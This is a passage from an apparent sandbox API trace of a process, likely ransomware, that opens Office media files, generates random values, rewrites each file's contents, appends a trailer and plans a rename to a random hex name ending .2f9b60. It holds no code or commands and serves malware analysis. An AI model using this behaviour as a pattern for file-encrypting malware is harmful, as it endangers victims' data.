lpNumberOfBytesRead=0x27bdfaa8*=0x4, lpOverlapped=0x0) returned 1 [0211.430] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260fb0 [0211.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fa0 [0211.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0211.431] NtQuerySystemTime (in: CurrentTime=0x27bdf9a0 | out: CurrentTime=0x27bdf9a0*=132462178163014000) returned 0x0 [0211.431] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x32e1260 [0211.431] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x699d8d0e [0211.431] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x11852e51 [0211.431] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x4c094b81 [0211.431] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0xc52c6cc [0211.431] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x2d8db4ae [0211.431] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x780ffc2b [0211.431] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x7f7c7b9c [0211.431] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x31cf0179 [0211.431] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x42180fcc [0211.431] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x5a81acc7 [0211.431] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x6e95d1bd [0211.431] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x5df88fa5 [0211.431] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x785caed2 [0211.431] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0xb9a834d [0211.431] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x1a6014ad [0211.431] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x1f30930 [0211.432] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x2666f974 [0211.432] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x25073625 [0211.432] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x3cb78b88 [0211.432] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0xb90a631 [0211.432] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x70a42be5 [0211.432] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x5b4c3f01 [0211.432] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x54432ec5 [0211.432] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x1f045904 [0211.432] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x35bae32a [0211.432] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x46c2b503 [0211.432] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x2eb7b740 [0211.432] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x64f4584 [0211.432] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0xe8e285f [0211.432] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x23487d95 [0211.432] RtlRandomEx (in: Seed=0x27bdf990 | out: Seed=0x27bdf990) returned 0x4180ad5a [0211.443] ReadFile (in: hFile=0x7a8, lpBuffer=0x2043b690, nNumberOfBytesToRead=0xd42, lpNumberOfBytesRead=0x27bdf990, lpOverlapped=0x0 | out: lpBuffer=0x2043b690*, lpNumberOfBytesRead=0x27bdf990*=0xd42, lpOverlapped=0x0) returned 1 [0211.443] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.443] WriteFile (in: hFile=0x7a8, lpBuffer=0x2043f2a0*, nNumberOfBytesToWrite=0xd42, lpNumberOfBytesWritten=0x27bdf994, lpOverlapped=0x0 | out: lpBuffer=0x2043f2a0*, lpNumberOfBytesWritten=0x27bdf994*=0xd42, lpOverlapped=0x0) returned 1 [0215.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0da0 [0215.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0e60 [0215.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0e60) returned 1 [0215.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2043f2a0) returned 1 [0215.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2043b690) returned 1 [0215.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24520) returned 1 [0215.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058150) returned 1 [0215.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42ac0e60 [0215.491] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.491] WriteFile (in: hFile=0x7a8, lpBuffer=0x431f0f00*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x27bdfab0, lpOverlapped=0x0 | out: lpBuffer=0x431f0f00*, lpNumberOfBytesWritten=0x27bdfab0*=0x10a, lpOverlapped=0x0) returned 1 [0217.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c80 [0217.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c80) returned 1 [0217.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c80 [0217.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260980 [0217.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260980) returned 1 [0217.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d82c0 [0217.895] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="0d") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="a4") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="6e") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="0f") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="c5") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="d9") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="89") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="28") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="9c") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="5d") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="16") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="66") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="a5") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="f2") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="71") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="0f") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="94") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="3d") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="2b") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="31") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="c1") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="1a") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82ec, _Format="%c%c" | out: _Dest="3b") returned 2 [0217.895] sprintf (in: _Dest=0x1b7d82ee, _Format="%c%c" | out: _Dest="2e") returned 2 [0217.896] RtlInitAnsiString (in: DestinationString=0x27bdfb28, SourceString="0da46e0fc5d989289c5d1666a5f2710f943d2b31c11a3b2e" | out: DestinationString="0da46e0fc5d989289c5d1666a5f2710f943d2b31c11a3b2e") [0217.896] RtlAnsiStringToUnicodeString (in: DestinationString=0x27bdfaf8, SourceString="0da46e0fc5d989289c5d1666a5f2710f943d2b31c11a3b2e", AllocateDestinationString=1 | out: DestinationString="0da46e0fc5d989289c5d1666a5f2710f943d2b31c11a3b2e") returned 0x0 [0217.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319f050 [0217.896] wcscat (in: _Dest=0x431eaa90, _Source="0da46e0fc5d9" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\0da46e0fc5d9") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\0da46e0fc5d9" [0217.896] wcscat (in: _Dest=0x431eaa90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\0da46e0fc5d9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\0da46e0fc5d9.2f9b60" [0217.896] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\0da46e0fc5d9.2f9b60", NtPathName=0x27bdfad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\0da46e0fc5d9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fe8c0 Thread: id = 3549 os_tid = 0x1eb0 [0210.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf")) returned 0x20 [0210.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF", dwFileAttributes=0x20) returned 1 [0210.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10f0 [0210.723] GetFileSizeEx (in: hFile=0x10f0, lpFileSize=0x27cdfa40 | out: lpFileSize=0x27cdfa40*=1880) returned 1 [0210.723] SetFilePointerEx (in: hFile=0x10f0, liDistanceToMove=0x754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.724] ReadFile (in: hFile=0x10f0, lpBuffer=0x27cdf9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27cdfa08, lpOverlapped=0x0 | out: lpBuffer=0x27cdf9c0*, lpNumberOfBytesRead=0x27cdfa08*=0x4, lpOverlapped=0x0) returned 1 [0210.773] SetFilePointerEx (in: hFile=0x10f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9040 [0210.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8b30 [0210.774] NtQuerySystemTime (in: CurrentTime=0x27cdf900 | out: CurrentTime=0x27cdf900*=132462178156462000) returned 0x0 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x42135b8f [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x201d409f [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x6f1e4fa2 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0xc8f3431 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x43ac243d [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x1dee5450 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x505a43d0 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x5e598e22 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x6692855c [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x75f7b7e2 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x2e37a0d5 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x5db40152 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x615b4dd0 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x246419e7 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x19f3f0c7 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x4c24f04b [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x5170cd6f [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x17d1b0b1 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x673ad051 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x39f410f1 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x6fc66759 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x683efcdc [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x207fe59f [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x3436573 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x64ee82a2 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x4c25f064 [0210.774] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x16b8acde [0210.775] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x70f62d80 [0210.775] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x1bdea43a [0210.775] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x1590aff3 [0210.775] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x6703d824 [0210.775] RtlRandomEx (in: Seed=0x27cdf8f0 | out: Seed=0x27cdf8f0) returned 0x54f29eca [0210.784] ReadFile (in: hFile=0x10f0, lpBuffer=0x42b1ee50, nNumberOfBytesToRead=0x758, lpNumberOfBytesRead=0x27cdf8f0, lpOverlapped=0x0 | out: lpBuffer=0x42b1ee50*, lpNumberOfBytesRead=0x27cdf8f0*=0x758, lpOverlapped=0x0) returned 1 [0210.784] SetFilePointerEx (in: hFile=0x10f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.784] WriteFile (in: hFile=0x10f0, lpBuffer=0x42b0fe10*, nNumberOfBytesToWrite=0x758, lpNumberOfBytesWritten=0x27cdf8f4, lpOverlapped=0x0 | out: lpBuffer=0x42b0fe10*, lpNumberOfBytesWritten=0x27cdf8f4*=0x758, lpOverlapped=0x0) returned 1 [0215.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139310 [0215.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a330 [0215.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a330) returned 1 [0215.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b0fe10) returned 1 [0215.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b1ee50) returned 1 [0215.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24420) returned 1 [0215.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61880) returned 1 [0215.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4313a330 [0215.375] SetFilePointerEx (in: hFile=0x10f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.375] WriteFile (in: hFile=0x10f0, lpBuffer=0x423aa2f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x27cdfa10, lpOverlapped=0x0 | out: lpBuffer=0x423aa2f0*, lpNumberOfBytesWritten=0x27cdfa10*=0x10a, lpOverlapped=0x0) returned 1 [0217.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8ad0 [0217.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8ad0) returned 1 [0217.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8ad0 [0217.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9400 [0217.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9400) returned 1 [0217.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8200 [0217.732] sprintf (in: _Dest=0x1b7d8200, _Format="%c%c" | out: _Dest="dc") returned 2 [0217.732] sprintf (in: _Dest=0x1b7d8202, _Format="%c%c" | out: _Dest="3c") returned 2 [0217.732] sprintf (in: _Dest=0x1b7d8204, _Format="%c%c" | out: _Dest="9f") returned 2 [0217.732] sprintf (in: _Dest=0x1b7d8206, _Format="%c%c" | out: _Dest="d4") returned 2 [0217.732] sprintf (in: _Dest=0x1b7d8208, _Format="%c%c" | out: _Dest="7d") returned 2 [0217.732] sprintf (in: _Dest=0x1b7d820a, _Format="%c%c" | out: _Dest="3b") returned 2 [0217.732] sprintf (in: _Dest=0x1b7d820c, _Format="%c%c" | out: _Dest="2a") returned 2 [0217.732] sprintf (in: _Dest=0x1b7d820e, _Format="%c%c" | out: _Dest="d3") returned 2 [0217.732] sprintf (in: _Dest=0x1b7d8210, _Format="%c%c" | out: _Dest="14") returned 2 [0217.732] sprintf (in: _Dest=0x1b7d8212, _Format="%c%c" | out: _Dest="71") returned 2 [0217.732] sprintf (in: _Dest=0x1b7d8214, _Format="%c%c" | out: _Dest="28") returned 2 [0217.732] sprintf (in: _Dest=0x1b7d8216, _Format="%c%c" | out: _Dest="ee") returned 2 [0217.732] sprintf (in: _Dest=0x1b7d8218, _Format="%c%c" | out: _Dest="89") returned 2 [0217.733] sprintf (in: _Dest=0x1b7d821a, _Format="%c%c" | out: _Dest="43") returned 2 [0217.733] sprintf (in: _Dest=0x1b7d821c, _Format="%c%c" | out: _Dest="20") returned 2 [0217.733] sprintf (in: _Dest=0x1b7d821e, _Format="%c%c" | out: _Dest="e6") returned 2 [0217.733] sprintf (in: _Dest=0x1b7d8220, _Format="%c%c" | out: _Dest="3f") returned 2 [0217.733] sprintf (in: _Dest=0x1b7d8222, _Format="%c%c" | out: _Dest="42") returned 2 [0217.733] sprintf (in: _Dest=0x1b7d8224, _Format="%c%c" | out: _Dest="be") returned 2 [0217.733] sprintf (in: _Dest=0x1b7d8226, _Format="%c%c" | out: _Dest="be") returned 2 [0217.733] sprintf (in: _Dest=0x1b7d8228, _Format="%c%c" | out: _Dest="30") returned 2 [0217.733] sprintf (in: _Dest=0x1b7d822a, _Format="%c%c" | out: _Dest="64") returned 2 [0217.733] sprintf (in: _Dest=0x1b7d822c, _Format="%c%c" | out: _Dest="8c") returned 2 [0217.733] sprintf (in: _Dest=0x1b7d822e, _Format="%c%c" | out: _Dest="b1") returned 2 [0217.733] RtlInitAnsiString (in: DestinationString=0x27cdfa88, SourceString="dc3c9fd47d3b2ad3147128ee894320e63f42bebe30648cb1" | out: DestinationString="dc3c9fd47d3b2ad3147128ee894320e63f42bebe30648cb1") [0217.733] RtlAnsiStringToUnicodeString (in: DestinationString=0x27cdfa58, SourceString="dc3c9fd47d3b2ad3147128ee894320e63f42bebe30648cb1", AllocateDestinationString=1 | out: DestinationString="dc3c9fd47d3b2ad3147128ee894320e63f42bebe30648cb1") returned 0x0 [0217.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e9ec0 [0217.734] wcscat (in: _Dest=0x4314ffe0, _Source="dc3c9fd47d3b" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\dc3c9fd47d3b") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\dc3c9fd47d3b" [0217.734] wcscat (in: _Dest=0x4314ffe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\dc3c9fd47d3b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\dc3c9fd47d3b.2f9b60" [0217.734] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\dc3c9fd47d3b.2f9b60", NtPathName=0x27cdfa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\dc3c9fd47d3b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205ece0 Thread: id = 3550 os_tid = 0x1ec8 [0210.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf")) returned 0x20 [0210.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF", dwFileAttributes=0x20) returned 1 [0210.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16cc [0210.726] GetFileSizeEx (in: hFile=0x16cc, lpFileSize=0x27d5fb20 | out: lpFileSize=0x27d5fb20*=2432) returned 1 [0210.726] SetFilePointerEx (in: hFile=0x16cc, liDistanceToMove=0x97c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.726] ReadFile (in: hFile=0x16cc, lpBuffer=0x27d5faa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27d5fae8, lpOverlapped=0x0 | out: lpBuffer=0x27d5faa0*, lpNumberOfBytesRead=0x27d5fae8*=0x4, lpOverlapped=0x0) returned 1 [0210.797] SetFilePointerEx (in: hFile=0x16cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a93d0 [0210.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8b60 [0210.798] NtQuerySystemTime (in: CurrentTime=0x27d5f9e0 | out: CurrentTime=0x27d5f9e0*=132462178156618000) returned 0x0 [0210.798] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x5a35cb6e [0210.798] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x49c2894e [0210.798] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x5c494ed3 [0210.798] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x3fe26538 [0210.798] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x45c7ddaa [0210.798] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x49c2894e [0210.798] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x667d460d [0210.798] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x77919b19 [0210.798] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x49b29f3d [0210.798] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x46118dea [0210.798] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x5736ccde [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x7dc5a50 [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x17f269c6 [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x6667ac9c [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | out: Seed=0x27d5f9d0) returned 0x17c317f1 [0210.799] RtlRandomEx (in: Seed=0x27d5f9d0 | 